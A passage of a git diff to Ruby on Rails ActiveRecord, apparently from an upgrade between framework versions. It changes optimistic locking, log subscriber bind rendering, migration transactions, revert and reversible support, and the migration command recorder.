+ (param = result.squish.truncate(20, separator: /\s/, omission: nil).parameterize).present?
+ "#{default}-#{param}"
+ else
+ default
+ end
+ end
+ end
end
end
end
diff --git a/activerecord/lib/active_record/locking/optimistic.rb b/activerecord/lib/active_record/locking/optimistic.rb
index 035c77c424..ced694ba9a 100644
--- a/activerecord/lib/active_record/locking/optimistic.rb
+++ b/activerecord/lib/active_record/locking/optimistic.rb
@@ -66,7 +66,7 @@ module ActiveRecord
send(lock_col + '=', previous_lock_value + 1)
end
- def update(attribute_names = @attributes.keys) #:nodoc:
+ def _update_record(attribute_names = self.attribute_names) #:nodoc:
return super unless locking_enabled?
return 0 if attribute_names.empty?
@@ -82,11 +82,14 @@ module ActiveRecord
stmt = relation.where(
relation.table[self.class.primary_key].eq(id).and(
- relation.table[lock_col].eq(self.class.quote_value(previous_lock_value))
+ relation.table[lock_col].eq(self.class.quote_value(previous_lock_value, column_for_attribute(lock_col)))
)
- ).arel.compile_update(arel_attributes_with_values_for_update(attribute_names))
+ ).arel.compile_update(
+ arel_attributes_with_values_for_update(attribute_names),
+ self.class.primary_key
+ )
- affected_rows = connection.update stmt
+ affected_rows = self.class.connection.update stmt
unless affected_rows == 1
raise ActiveRecord::StaleObjectError.new(self, "update")
@@ -117,7 +120,7 @@ module ActiveRecord
if locking_enabled?
column_name = self.class.locking_column
column = self.class.columns_hash[column_name]
- substitute = connection.substitute_at(column, relation.bind_values.length)
+ substitute = self.class.connection.substitute_at(column)
relation = relation.where(self.class.arel_table[column_name].eq(substitute))
relation.bind_values << [column, self[column_name].to_i]
@@ -138,6 +141,7 @@ module ActiveRecord
# Set the column to use for optimistic locking. Defaults to +lock_version+.
def locking_column=(value)
+ clear_caches_calculated_from_columns
@locking_column = value.to_s
end
@@ -147,11 +151,6 @@ module ActiveRecord
@locking_column
end
- # Quote the column name used for optimistic locking.
- def quoted_locking_column
- connection.quote_column_name(locking_column)
- end
-
# Reset the column used for optimistic locking back to the +lock_version+ default.
def reset_locking_column
self.locking_column = DEFAULT_LOCKING_COLUMN
@@ -164,18 +163,42 @@ module ActiveRecord
super
end
- def column_defaults
- @column_defaults ||= begin
- defaults = super
-
- if defaults.key?(locking_column) && lock_optimistically
- defaults[locking_column] ||= 0
+ private
+
+ # We need to apply this decorator here, rather than on module inclusion. The closure
+ # created by the matcher would otherwise evaluate for `ActiveRecord::Base`, not the
+ # sub class being decorated. As such, changes to `lock_optimistically`, or
+ # `locking_column` would not be picked up.
+ def inherited(subclass)
+ subclass.class_eval do
+ is_lock_column = ->(name, _) { lock_optimistically && name == locking_column }
+ decorate_matching_attribute_types(is_lock_column, :_optimistic_locking) do |type|
+ LockingType.new(type)
end
-
- defaults
end
+ super
end
end
end
+
+ class LockingType < SimpleDelegator # :nodoc:
+ def type_cast_from_database(value)
+ # `nil` *should* be changed to 0
+ super.to_i
+ end
+
+ def changed?(old_value, *)
+ # Ensure we save if the default was `nil`
+ super || old_value == 0
+ end
+
+ def init_with(coder)
+ __setobj__(coder['subtype'])
+ end
+
+ def encode_with(coder)
+ coder['subtype'] = __getobj__
+ end
+ end
end
end
diff --git a/activerecord/lib/active_record/locking/pessimistic.rb b/activerecord/lib/active_record/locking/pessimistic.rb
index b4bb95a392..ff7102d35b 100644
--- a/activerecord/lib/active_record/locking/pessimistic.rb
+++ b/activerecord/lib/active_record/locking/pessimistic.rb
@@ -3,12 +3,12 @@ module ActiveRecord
# Locking::Pessimistic provides support for row-level locking using
# SELECT ... FOR UPDATE and other lock types.
#
- # Pass <tt>lock: true</tt> to <tt>ActiveRecord::Base.find</tt> to obtain an exclusive
+ # Chain <tt>ActiveRecord::Base#find</tt> to <tt>ActiveRecord::QueryMethods#lock</tt> to obtain an exclusive
# lock on the selected rows:
# # select * from accounts where id=1 for update
- # Account.find(1, lock: true)
+ # Account.lock.find(1)
#
- # Pass <tt>lock: 'some locking clause'</tt> to give a database-specific locking clause
+ # Call <tt>lock('some locking clause')</tt> to use a database-specific locking clause
# of your own such as 'LOCK IN SHARE MODE' or 'FOR UPDATE NOWAIT'. Example:
#
# Account.transaction do
@@ -26,7 +26,7 @@ module ActiveRecord
#
# Account.transaction do
# # select * from accounts where ...
- # accounts = Account.where(...).all
+ # accounts = Account.where(...)
# account1 = accounts.detect { |account| ... }
# account2 = accounts.detect { |account| ... }
# # select * from accounts where id=? for update
@@ -64,7 +64,7 @@ module ActiveRecord
end
# Wraps the passed block in a transaction, locking the object
- # before yielding. You pass can the SQL locking clause
+ # before yielding. You can pass the SQL locking clause
# as argument (see <tt>lock!</tt>).
def with_lock(lock = true)
transaction do
diff --git a/activerecord/lib/active_record/log_subscriber.rb b/activerecord/lib/active_record/log_subscriber.rb
index ca79950049..eb64d197f0 100644
--- a/activerecord/lib/active_record/log_subscriber.rb
+++ b/activerecord/lib/active_record/log_subscriber.rb
@@ -1,13 +1,13 @@
module ActiveRecord
class LogSubscriber < ActiveSupport::LogSubscriber
IGNORE_PAYLOAD_NAMES = ["SCHEMA", "EXPLAIN"]
-
+
def self.runtime=(value)
- Thread.current[:active_record_sql_runtime] = value
+ ActiveRecord::RuntimeRegistry.sql_runtime = value
end
def self.runtime
- Thread.current[:active_record_sql_runtime] ||= 0
+ ActiveRecord::RuntimeRegistry.sql_runtime ||= 0
end
def self.reset_runtime
@@ -17,7 +17,21 @@ module ActiveRecord
def initialize
super
- @odd_or_even = false
+ @odd = false
+ end
+
+ def render_bind(column, value)
+ if column
+ if column.binary?
+ # This specifically deals with the PG adapter that casts bytea columns into a Hash.
+ value = value[:value] if value.is_a?(Hash)
+ value = value ? "<#{value.bytesize} bytes of binary data>" : "<NULL binary data>"
+ end
+
+ [column.name, value]
+ else
+ [nil, value]
+ end
end
def sql(event)
@@ -29,12 +43,12 @@ module ActiveRecord
return if IGNORE_PAYLOAD_NAMES.include?(payload[:name])
name = "#{payload[:name]} (#{event.duration.round(1)}ms)"
- sql = payload[:sql].squeeze(' ')
+ sql = payload[:sql]
binds = nil
unless (payload[:binds] || []).empty?
binds = " " + payload[:binds].map { |col,v|
- [col.name, v]
+ render_bind(col, v)
}.inspect
end
@@ -48,17 +62,8 @@ module ActiveRecord
debug " #{name} #{sql}#{binds}"
end
- def identity(event)
- return unless logger.debug?
-
- name = color(event.payload[:name], odd? ? CYAN : MAGENTA, true)
- line = odd? ? color(event.payload[:line], nil, true) : event.payload[:line]
-
- debug " #{name} #{line}"
- end
-
def odd?
- @odd_or_even = !@odd_or_even
+ @odd = !@odd
end
def logger
diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb
index 22347fcaef..3cac465440 100644
--- a/activerecord/lib/active_record/migration.rb
+++ b/activerecord/lib/active_record/migration.rb
@@ -1,38 +1,49 @@
-require "active_support/core_ext/class/attribute_accessors"
+require "active_support/core_ext/module/attribute_accessors"
require 'set'
module ActiveRecord
+ class MigrationError < ActiveRecordError#:nodoc:
+ def initialize(message = nil)
+ message = "\n\n#{message}\n\n" if message
+ super
+ end
+ end
+
# Exception that can be raised to stop migrations from going backwards.
- class IrreversibleMigration < ActiveRecordError
+ class IrreversibleMigration < MigrationError
end
- class DuplicateMigrationVersionError < ActiveRecordError#:nodoc:
+ class DuplicateMigrationVersionError < MigrationError#:nodoc:
def initialize(version)
super("Multiple migrations have the version number #{version}")
end
end
- class DuplicateMigrationNameError < ActiveRecordError#:nodoc:
+ class DuplicateMigrationNameError < MigrationError#:nodoc:
def initialize(name)
super("Multiple migrations have the name #{name}")
end
end
- class UnknownMigrationVersionError < ActiveRecordError #:nodoc:
+ class UnknownMigrationVersionError < MigrationError #:nodoc:
def initialize(version)
super("No migration with version number #{version}")
end
end
- class IllegalMigrationNameError < ActiveRecordError#:nodoc:
+ class IllegalMigrationNameError < MigrationError#:nodoc:
def initialize(name)
super("Illegal name for migration file: #{name}\n\t(only lower case letters, numbers, and '_' allowed)")
end
end
- class PendingMigrationError < ActiveRecordError#:nodoc:
+ class PendingMigrationError < MigrationError#:nodoc:
def initialize
- super("Migrations are pending; run 'rake db:migrate RAILS_ENV=#{ENV['RAILS_ENV']}' to resolve this issue.")
+ if defined?(Rails)
+ super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rake db:migrate RAILS_ENV=#{::Rails.env}")
+ else
+ super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rake db:migrate")
+ end
end
end
@@ -102,7 +113,7 @@ module ActiveRecord
# table definition.
# * <tt>drop_table(name)</tt>: Drops the table called +name+.
# * <tt>change_table(name, options)</tt>: Allows to make column alterations to
- # the table called +name+. It makes the table object availabe to a block that
+ # the table called +name+. It makes the table object available to a block that
# can then add/remove columns, indexes or foreign keys to it.
# * <tt>rename_table(old_name, new_name)</tt>: Renames the table called +old_name+
# to +new_name+.
@@ -120,8 +131,8 @@ module ActiveRecord
# a column but keeps the type and content.
# * <tt>change_column(table_name, column_name, type, options)</tt>: Changes
# the column to a different type using the same parameters as add_column.
- # * <tt>remove_column(table_name, column_names)</tt>: Removes the column listed in
- # +column_names+ from the table called +table_name+.
+ # * <tt>remove_column(table_name, column_name, type, options)</tt>: Removes the column
+ # named +column_name+ from the table called +table_name+.
# * <tt>add_index(table_name, column_names, options)</tt>: Adds a new index
# with the name of the column. Other options include
# <tt>:name</tt>, <tt>:unique</tt> (e.g.
@@ -150,21 +161,14 @@ module ActiveRecord
# in the <tt>db/migrate/</tt> directory where <tt>timestamp</tt> is the
# UTC formatted date and time that the migration was generated.
#
- # You may then edit the <tt>up</tt> and <tt>down</tt> methods of
- # MyNewMigration.
- #
# There is a special syntactic shortcut to generate migrations that add fields to a table.
#
# rails generate migration add_fieldname_to_tablename fieldname:string
#
# This will generate the file <tt>timestamp_add_fieldname_to_tablename</tt>, which will look like this:
# class AddFieldnameToTablename < ActiveRecord::Migration
- # def up
- # add_column :tablenames, :fieldname, :string
- # end
- #
- # def down
- # remove_column :tablenames, :fieldname
+ # def change
+ # add_column :tablenames, :field, :string
# end
# end
#
@@ -177,14 +181,17 @@ module ActiveRecord
#
# To roll the database back to a previous migration version, use
# <tt>rake db:migrate VERSION=X</tt> where <tt>X</tt> is the version to which
- # you wish to downgrade. If any of the migrations throw an
- # <tt>ActiveRecord::IrreversibleMigration</tt> exception, that step will fail and you'll
- # have some manual work to do.
+ # you wish to downgrade. Alternatively, you can also use the STEP option if you
+ # wish to rollback last few migrations. <tt>rake db:migrate STEP=2</tt> will rollback
+ # the latest two migrations.
+ #
+ # If any of the migrations throw an <tt>ActiveRecord::IrreversibleMigration</tt> exception,
+ # that step will fail and you'll have some manual work to do.
#
# == Database support
#
# Migrations are currently supported in MySQL, PostgreSQL, SQLite,
- # SQL Server, Sybase, and Oracle (all supported databases except DB2).
+ # SQL Server, and Oracle (all supported databases except DB2).
#
# == More examples
#
@@ -330,6 +337,24 @@ module ActiveRecord
#
# For a list of commands that are reversible, please see
# <tt>ActiveRecord::Migration::CommandRecorder</tt>.
+ #
+ # == Transactional Migrations
+ #
+ # If the database adapter supports DDL transactions, all migrations will
+ # automatically be wrapped in a transaction. There are queries that you
+ # can't execute inside a transaction though, and for these situations
+ # you can turn the automatic transactions off.
+ #
+ # class ChangeEnum < ActiveRecord::Migration
+ # disable_ddl_transaction!
+ #
+ # def up
+ # execute "ALTER TYPE model_size ADD VALUE 'new_value'"
+ # end
+ # end
+ #
+ # Remember that you can still open your own transactions, even if you
+ # are in a Migration with <tt>self.disable_ddl_transaction!</tt>.
class Migration
autoload :CommandRecorder, 'active_record/migration/command_recorder'
@@ -339,56 +364,203 @@ module ActiveRecord
class CheckPending
def initialize(app)
@app = app
+ @last_check = 0
end
def call(env)
- ActiveRecord::Base.logger.quietly do
- ActiveRecord::Migration.check_pending!
+ if connection.supports_migrations?
+ mtime = ActiveRecord::Migrator.last_migration.mtime.to_i
+ if @last_check < mtime
+ ActiveRecord::Migration.check_pending!(connection)
+ @last_check = mtime
+ end
end
@app.call(env)
end
+
+ private
+
+ def connection
+ ActiveRecord::Base.connection
+ end
end
class << self
attr_accessor :delegate # :nodoc:
- end
+ attr_accessor :disable_ddl_transaction # :nodoc:
- def self.check_pending!
- raise ActiveRecord::PendingMigrationError if ActiveRecord::Migrator.needs_migration?
- end
+ def check_pending!(connection = Base.connection)
+ raise ActiveRecord::PendingMigrationError if ActiveRecord::Migrator.needs_migration?(connection)
+ end
- def self.method_missing(name, *args, &block) # :nodoc:
- (delegate || superclass.delegate).send(name, *args, &block)
+ def load_schema_if_pending!
+ if ActiveRecord::Migrator.needs_migration? || !ActiveRecord::Migrator.any_migrations?
+ # Roundrip to Rake to allow plugins to hook into database initialization.
+ FileUtils.cd Rails.root do
+ current_config = Base.connection_config
+ Base.clear_all_connections!
+ system("bin/rake db:test:prepare")
+ # Establish a new connection, the old database may be gone (db:test:prepare uses purge)
+ Base.establish_connection(current_config)
+ end
+ check_pending!
+ end
+ end
+
+ def maintain_test_schema! # :nodoc:
+ if ActiveRecord::Base.maintain_test_schema
+ suppress_messages { load_schema_if_pending! }
+ end
+ end
+
+ def method_missing(name, *args, &block) # :nodoc:
+ (delegate || superclass.delegate).send(name, *args, &block)
+ end
+
+ def migrate(direction)
+ new.migrate direction
+ end
+
+ # Disable DDL transactions for this migration.
+ def disable_ddl_transaction!
+ @disable_ddl_transaction = true
+ end
end
- def self.migrate(direction)
- new.migrate direction
+ def disable_ddl_transaction # :nodoc:
+ self.class.disable_ddl_transaction
end
cattr_accessor :verbose
-
attr_accessor :name, :version
def initialize(name = self.class.name, version = nil)
@name = name
@version = version
@connection = nil
- @reverting = false
end
+ self.verbose = true
# instantiate the delegate object after initialize is defined
- self.verbose = true
self.delegate = new
- def revert
- @reverting = true
- yield
- ensure
- @reverting = false
+ # Reverses the migration commands for the given block and
+ # the given migrations.
+ #
+ # The following migration will remove the table 'horses'
+ # and create the table 'apples' on the way up, and the reverse
+ # on the way down.
+ #
+ # class FixTLMigration < ActiveRecord::Migration
+ # def change
+ # revert do
+ # create_table(:horses) do |t|
+ # t.text :content
+ # t.datetime :remind_at
+ # end
+ # end
+ # create_table(:apples) do |t|
+ # t.string :variety
+ # end
+ # end
+ # end
+ #
+ # Or equivalently, if +TenderloveMigration+ is defined as in the
+ # documentation for Migration:
+ #
+ # require_relative '2012121212_tenderlove_migration'
+ #
+ # class FixupTLMigration < ActiveRecord::Migration
+ # def change
+ # revert TenderloveMigration
+ #
+ # create_table(:apples) do |t|
+ # t.string :variety
+ # end
+ # end
+ # end
+ #
+ # This command can be nested.
+ def revert(*migration_classes)
+ run(*migration_classes.reverse, revert: true) unless migration_classes.empty?
+ if block_given?
+ if @connection.respond_to? :revert
+ @connection.revert { yield }
+ else
+ recorder = CommandRecorder.new(@connection)
+ @connection = recorder
+ suppress_messages do
+ @connection.revert { yield }
+ end
+ @connection = recorder.delegate
+ recorder.commands.each do |cmd, args, block|
+ send(cmd, *args, &block)
+ end
+ end
+ end
end
def reverting?
- @reverting
+ @connection.respond_to?(:reverting) && @connection.reverting
+ end
+
+ class ReversibleBlockHelper < Struct.new(:reverting) # :nodoc:
+ def up
+ yield unless reverting
+ end
+
+ def down
+ yield if reverting
+ end
+ end
+
+ # Used to specify an operation that can be run in one direction or another.
+ # Call the methods +up+ and +down+ of the yielded object to run a block
+ # only in one given direction.
+ # The whole block will be called in the right order within the migration.
+ #
+ # In the following example, the looping on users will always be done
+ # when the three columns 'first_name', 'last_name' and 'full_name' exist,
+ # even when migrating down:
+ #
+ # class SplitNameMigration < ActiveRecord::Migration
+ # def change
+ # add_column :users, :first_name, :string
+ # add_column :users, :last_name, :string
+ #
+ # reversible do |dir|
+ # User.reset_column_information
+ # User.all.each do |u|
+ # dir.up { u.first_name, u.last_name = u.full_name.split(' ') }
+ # dir.down { u.full_name = "#{u.first_name} #{u.last_name}" }
+ # u.save
+ # end
+ # end
+ #
+ # revert { add_column :users, :full_name, :string }
+ # end
+ # end
+ def reversible
+ helper = ReversibleBlockHelper.new(reverting?)
+ execute_block{ yield helper }
+ end
+
+ # Runs the given migration classes.
+ # Last argument can specify options:
+ # - :direction (default is :up)
+ # - :revert (default is false)
+ def run(*migration_classes)
+ opts = migration_classes.extract_options!
+ dir = opts[:direction] || :up
+ dir = (dir == :down ? :up : :down) if opts[:revert]
+ if reverting?
+ # If in revert and going :up, say, we want to execute :down without reverting, so
+ revert { run(*migration_classes, direction: dir, revert: true) }
+ else
+ migration_classes.each do |migration_class|
+ migration_class.new.exec_migration(@connection, dir)
+ end
+ end
end
def up
@@ -414,29 +586,9 @@ module ActiveRecord
time = nil
ActiveRecord::Base.connection_pool.with_connection do |conn|
- @connection = conn
- if respond_to?(:change)
- if direction == :down
- recorder = CommandRecorder.new(@connection)
- suppress_messages do
- @connection = recorder
- change
- end
- @connection = conn
- time = Benchmark.measure {
- self.revert {
- recorder.inverse.each do |cmd, args|
- send(cmd, *args)
- end
- }
- }
- else
- time = Benchmark.measure { change }
- end
- else
- time = Benchmark.measure { send(direction) }
+ time = Benchmark.measure do
+ exec_migration(conn, direction)
end
- @connection = nil
end
case direction
@@ -445,6 +597,21 @@ module ActiveRecord
end
end
+ def exec_migration(conn, direction)
+ @connection = conn
+ if respond_to?(:change)
+ if direction == :down
+ revert { change }
+ else
+ change
+ end
+ else
+ send(direction)
+ end
+ ensure
+ @connection = nil
+ end
+
def write(text="")
puts(text) if verbose
end
@@ -480,13 +647,15 @@ module ActiveRecord
end
def method_missing(method, *arguments, &block)
- arg_list = arguments.map{ |a| a.inspect } * ', '
+ arg_list = arguments.map(&:inspect) * ', '
say_with_time "#{method}(#{arg_list})" do
- unless reverting?
- unless arguments.empty? || method == :execute
- arguments[0] = Migrator.proper_table_name(arguments.first)
- arguments[1] = Migrator.proper_table_name(arguments.second) if method == :rename_table
+ unless @connection.respond_to? :revert
+ unless arguments.empty? || [:execute, :enable_extension, :disable_extension].include?(method)
+ arguments[0] = proper_table_name(arguments.first, table_name_options)
+ if [:rename_table, :add_foreign_key].include?(method)
+ arguments[1] = proper_table_name(arguments.second, table_name_options)
+ end
end
end
return super unless connection.respond_to?(method)
@@ -497,7 +666,7 @@ module ActiveRecord
def copy(destination, sources, options = {})
copied = []
- FileUtils.mkdir_p(destination) unless File.exists?(destination)
+ FileUtils.mkdir_p(destination) unless File.exist?(destination)
destination_migrations = ActiveRecord::Migrator.migrations(destination)
last = destination_migrations.last
@@ -505,8 +674,17 @@ module ActiveRecord
source_migrations = ActiveRecord::Migrator.migrations(path)
source_migrations.each do |migration|
- source = File.read(migration.filename)
- source = "# This migration comes from #{scope} (originally #{migration.version})\n#{source}"
+ source = File.binread(migration.filename)
+ inserted_comment = "# This migration comes from #{scope} (originally #{migration.version})\n"
+ if /\A#.*\b(?:en)?coding:\s*\S+/ =~ source
+ # If we have a magic comment in the original migration,
+ # insert our comment after the first newline(end of the magic comment line)
+ # so the magic keep working.
+ # Note that magic comments must be at the first line(except sh-bang).
+ source[/\n/] = "\n#{inserted_comment}"
+ else
+ source = "#{inserted_comment}#{source}"
+ end
if duplicate = destination_migrations.detect { |m| m.name == migration.name }
if options[:on_skip] && duplicate.scope != scope.to_s
@@ -520,7 +698,7 @@ module ActiveRecord
old_path, migration.filename = migration.filename, new_path
last = migration
- File.open(migration.filename, "w") { |f| f.write source }
+ File.binwrite(migration.filename, source)
copied << migration
options[:on_copy].call(scope, migration, old_path) if options[:on_copy]
destination_migrations << migration
@@ -530,11 +708,39 @@ module ActiveRecord
copied
end
+ # Finds the correct table name given an Active Record object.
+ # Uses the Active Record object's own table_name, or pre/suffix from the
+ # options passed in.
+ def proper_table_name(name, options = {})
+ if name.respond_to? :table_name
+ name.table_name
+ else
+ "#{options[:table_name_prefix]}#{name}#{options[:table_name_suffix]}"
+ end
+ end
+
+ # Determines the version number of the next migration.
def next_migration_number(number)
if ActiveRecord::Base.timestamped_migrations
[Time.now.utc.strftime("%Y%m%d%H%M%S"), "%.14d" % number].max
else
- "%.3d" % number
+ SchemaMigration.normalize_migration_number(number)
+ end
+ end
+
+ def table_name_options(config = ActiveRecord::Base)
+ {
+ table_name_prefix: config.table_name_prefix,
+ table_name_suffix: config.table_name_suffix
+ }
+ end
+
+ private
+ def execute_block
+ if connection.respond_to? :execute_block
+ super # use normal delegation to record the block
+ else
+ yield
end
end
end
@@ -552,7 +758,11 @@ module ActiveRecord
File.basename(filename)
end
- delegate :migrate, :announce, :write, :to => :migration
+ def mtime
+ File.mtime filename
+ end
+
+ delegate :migrate, :announce, :write, :disable_ddl_transaction, to: :migration
private
@@ -562,11 +772,21 @@ module ActiveRecord
def load_migration
require(File.expand_path(filename))
- name.constantize.new
+ name.constantize.new(name, version)
end
end
+ class NullMigration < MigrationProxy #:nodoc:
+ def initialize
+ super(nil, 0, nil, nil)
+ end
+
+ def mtime
+ 0
+ end
+ end
+
class Migrator#:nodoc:
class << self
attr_writer :migrations_paths
@@ -597,56 +817,54 @@ module ActiveRecord
migrations = migrations(migrations_paths)
migrations.select! { |m| yield m } if block_given?
- self.new(:up, migrations, target_version).migrate
+ new(:up, migrations, target_version).migrate
end
def down(migrations_paths, target_version = nil, &block)
migrations = migrations(migrations_paths)
migrations.select! { |m| yield m } if block_given?
- self.new(:down, migrations, target_version).migrate
+ new(:down, migrations, target_version).migrate
end
def run(direction, migrations_paths, target_version)
- self.new(direction, migrations(migrations_paths), target_version).run
+ new(direction, migrations(migrations_paths), target_version).run
end
def open(migrations_paths)
- self.new(:up, migrations(migrations_paths), nil)
+ new(:up, migrations(migrations_paths), nil)
end
def schema_migrations_table_name
SchemaMigration.table_name
end
- def get_all_versions
- SchemaMigration.all.map { |x| x.version.to_i }.sort
- end
-
- def current_version
- sm_table = schema_migrations_table_name
- if Base.connection.table_exists?(sm_table)
- get_all_versions.max || 0
+ def get_all_versions(connection = Base.connection)
+ if connection.table_exists?(schema_migrations_table_name)
+ SchemaMigration.all.map { |x| x.version.to_i }.sort
else
- 0
+ []
end
end
- def needs_migration?
- current_version < last_version
+ def current_version(connection = Base.connection)
+ get_all_versions(connection).max || 0
+ end
+
+ def needs_migration?(connection = Base.connection)
+ (migrations(migrations_paths).collect(&:version) - get_all_versions(connection)).size > 0
+ end
+
+ def any_migrations?
+ migrations(migrations_paths).any?
end
def last_version
- migrations(migrations_paths).last.try(:version)||0
+ last_migration.version
end
- def proper_table_name(name)
- # Use the Active Record objects own table_name, or pre/suffix from ActiveRecord::Base if name is a symbol/string
- if name.respond_to? :table_name
- name.table_name
- else
- "#{ActiveRecord::Base.table_name_prefix}#{name}#{ActiveRecord::Base.table_name_suffix}"
- end
+ def last_migration #:nodoc:
+ migrations(migrations_paths).last || NullMigration.new
end
def migrations_paths
@@ -665,7 +883,7 @@ module ActiveRecord
files = Dir[*paths.map { |p| "#{p}/**/[0-9]*_*.rb" }]
migrations = files.map do |file|
- version, name, scope = file.scan(/([0-9]+)_([_a-z0-9]*)\.?([_a-z0-9]*)?.rb/).first
+ version, name, scope = file.scan(/([0-9]+)_([_a-z0-9]*)\.?([_a-z0-9]*)?\.rb\z/).first
raise IllegalMigrationNameError.new(file) unless version
version = version.to_i
@@ -680,7 +898,7 @@ module ActiveRecord
private
def move(direction, migrations_paths, steps)
- migrator = self.new(direction, migrations(migrations_paths))
+ migrator = new(direction, migrations(migrations_paths))
start_index = migrator.migrations.index(migrator.current_migration)
if start_index
@@ -697,21 +915,15 @@ module ActiveRecord
@direction = direction
@target_version = target_version
@migrated_versions = nil
-
- if Array(migrations).grep(String).empty?
- @migrations = migrations
- else
- ActiveSupport::Deprecation.warn "instantiate this class with a list of migrations"
- @migrations = self.class.migrations(migrations)
- end
+ @migrations = migrations
validate(@migrations)
- ActiveRecord::SchemaMigration.create_table
+ Base.connection.initialize_schema_migrations_table
end
def current_version
- migrated.sort.last || 0
+ migrated.max || 0
end
def current_migration
@@ -720,11 +932,15 @@ module ActiveRecord
alias :current :current_migration
def run
- target = migrations.detect { |m| m.version == @target_version }
- raise UnknownMigrationVersionError.new(@target_version) if target.nil?
- unless (up? && migrated.include?(target.version.to_i)) || (down? && !migrated.include?(target.version.to_i))
- target.migrate(@direction)
- record_version_state_after_migrating(target.version)
+ migration = migrations.detect { |m| m.version == @target_version }
+ raise UnknownMigrationVersionError.new(@target_version) if migration.nil?
+ unless (up? && migrated.include?(migration.version.to_i)) || (down? && !migrated.include?(migration.version.to_i))
+ begin
+ execute_migration_in_transaction(migration, @direction)
+ rescue => e
+ canceled_msg = use_transaction?(migration) ? ", this migration was canceled" : ""
+ raise StandardError, "An error has occurred#{canceled_msg}:\n\n#{e}", e.backtrace
+ end
end
end
@@ -733,24 +949,13 @@ module ActiveRecord
raise UnknownMigrationVersionError.new(@target_version)
end
- running = runnable
-
- if block_given?
- message = "block argument to migrate is deprecated, please filter migrations before constructing the migrator"
- ActiveSupport::Deprecation.warn message
- running.select! { |m| yield m }
- end
-
- running.each do |migration|
+ runnable.each do |migration|
Base.logger.info "Migrating to #{migration.name} (#{migration.version})" if Base.logger
begin
- ddl_transaction do
- migration.migrate(@direction)
- record_version_state_after_migrating(migration.version)
- end
+ execute_migration_in_transaction(migration, @direction)
rescue => e
- canceled_msg = Base.connection.supports_ddl_transactions? ? "this and " : ""
+ canceled_msg = use_transaction?(migration) ? "this and " : ""
raise StandardError, "An error has occurred, #{canceled_msg}all later migrations canceled:\n\n#{e}", e.backtrace
end
end
@@ -785,6 +990,13 @@ module ActiveRecord
migrated.include?(migration.version.to_i)
end
+ def execute_migration_in_transaction(migration, direction)
+ ddl_transaction(migration) do
+ migration.migrate(direction)
+ record_version_state_after_migrating(migration.version)
+ end
+ end
+
def target
migrations.detect { |m| m.version == @target_version }
end
@@ -824,12 +1036,16 @@ module ActiveRecord
end
# Wrap the migration in a transaction only if supported by the adapter.
- def ddl_transaction
- if Base.connection.supports_ddl_transactions?
+ def ddl_transaction(migration)
+ if use_transaction?(migration)
Base.transaction { yield }
else
yield
end
end
+
+ def use_transaction?(migration)
+ !migration.disable_ddl_transaction && Base.connection.supports_ddl_transactions?
+ end
end
end
diff --git a/activerecord/lib/active_record/migration/command_recorder.rb b/activerecord/lib/active_record/migration/command_recorder.rb
index 95f4360578..36256415df 100644
--- a/activerecord/lib/active_record/migration/command_recorder.rb
+++ b/activerecord/lib/active_record/migration/command_recorder.rb
@@ -16,69 +16,120 @@ module ActiveRecord
class CommandRecorder
include JoinTable
- attr_accessor :commands, :delegate
+ attr_accessor :commands, :delegate, :reverting
def initialize(delegate = nil)
@commands = []
@delegate = delegate
+ @reverting = false
+ end
+
+ # While executing the given block, the recorded will be in reverting mode.
+ # All commands recorded will end up being recorded reverted
+ # and in reverse order.
+ # For example:
+ #
+ # recorder.revert{ recorder.record(:rename_table, [:old, :new]) }
+ # # same effect as recorder.record(:rename_table, [:new, :old])
+ def revert
+ @reverting = !@reverting
+ previous = @commands
+ @commands = []
+ yield
+ ensure
+ @commands = previous.concat(@commands.reverse)
+ @reverting = !@reverting
end
# record +command+. +command+ should be a method name and arguments.
# For example:
#
# recorder.record(:method_name, [:arg1, :arg2])
- def record(*command)
- @commands << command
+ def record(*command, &block)
+ if @reverting
+ @commands << inverse_of(*command, &block)
+ else
+ @commands << (command << block)
+ end
end
- # Returns a list that represents commands that are the inverse of the
- # commands stored in +commands+. For example:
+ # Returns the inverse of the given command. For example:
#
- # recorder.record(:rename_table, [:old, :new])
- # recorder.inverse # => [:rename_table, [:new, :old]]
+ # recorder.inverse_of(:rename_table, [:old, :new])
+ # # => [:rename_table, [:new, :old]]
#
# This method will raise an +IrreversibleMigration+ exception if it cannot
- # invert the +commands+.
- def inverse
- @commands.reverse.map { |name, args|
- method = :"invert_#{name}"
- raise IrreversibleMigration unless respond_to?(method, true)
- send(method, args)
- }
+ # invert the +command+.
+ def inverse_of(command, args, &block)
+ method = :"invert_#{command}"
+ raise IrreversibleMigration unless respond_to?(method, true)
+ send(method, args, &block)
end
def respond_to?(*args) # :nodoc:
super || delegate.respond_to?(*args)
end
- [:create_table, :create_join_table, :change_table, :rename_table, :add_column, :remove_column, :rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps, :change_column, :change_column_default, :add_reference, :remove_reference].each do |method|
+ [:create_table, :create_join_table, :rename_table, :add_column, :remove_column,
+ :rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps,
+ :change_column_default, :add_reference, :remove_reference, :transaction,
+ :drop_join_table, :drop_table, :execute_block, :enable_extension,
+ :change_column, :execute, :remove_columns, :change_column_null,
+ :add_foreign_key, :remove_foreign_key
+ # irreversible methods need to be here too
+ ].each do |method|
class_eval <<-EOV, __FILE__, __LINE__ + 1
- def #{method}(*args) # def create_table(*args)
- record(:"#{method}", args) # record(:create_table, args)
- end # end
+ def #{method}(*args, &block) # def create_table(*args, &block)
+ record(:"#{method}", args, &block) # record(:create_table, args, &block)
+ end # end
EOV
end
alias :add_belongs_to :add_reference
alias :remove_belongs_to :remove_reference
- private
-
- def invert_create_table(args)
- [:drop_table, [args.first]]
+ def change_table(table_name, options = {}) # :nodoc:
+ yield delegate.update_table_definition(table_name, self)
end
- def invert_create_join_table(args)
- table_name = find_join_table_name(*args)
+ private
- [:drop_table, [table_name]]
+ module StraightReversions
+ private
+ { transaction: :transaction,
+ execute_block: :execute_block,
+ create_table: :drop_table,
+ create_join_table: :drop_join_table,
+ add_column: :remove_column,
+ add_timestamps: :remove_timestamps,
+ add_reference: :remove_reference,
+ enable_extension: :disable_extension
+ }.each do |cmd, inv|
+ [[inv, cmd], [cmd, inv]].uniq.each do |method, inverse|
+ class_eval <<-EOV, __FILE__, __LINE__ + 1
+ def invert_#{method}(args, &block) # def invert_create_table(args, &block)
+ [:#{inverse}, args, block] # [:drop_table, args, block]
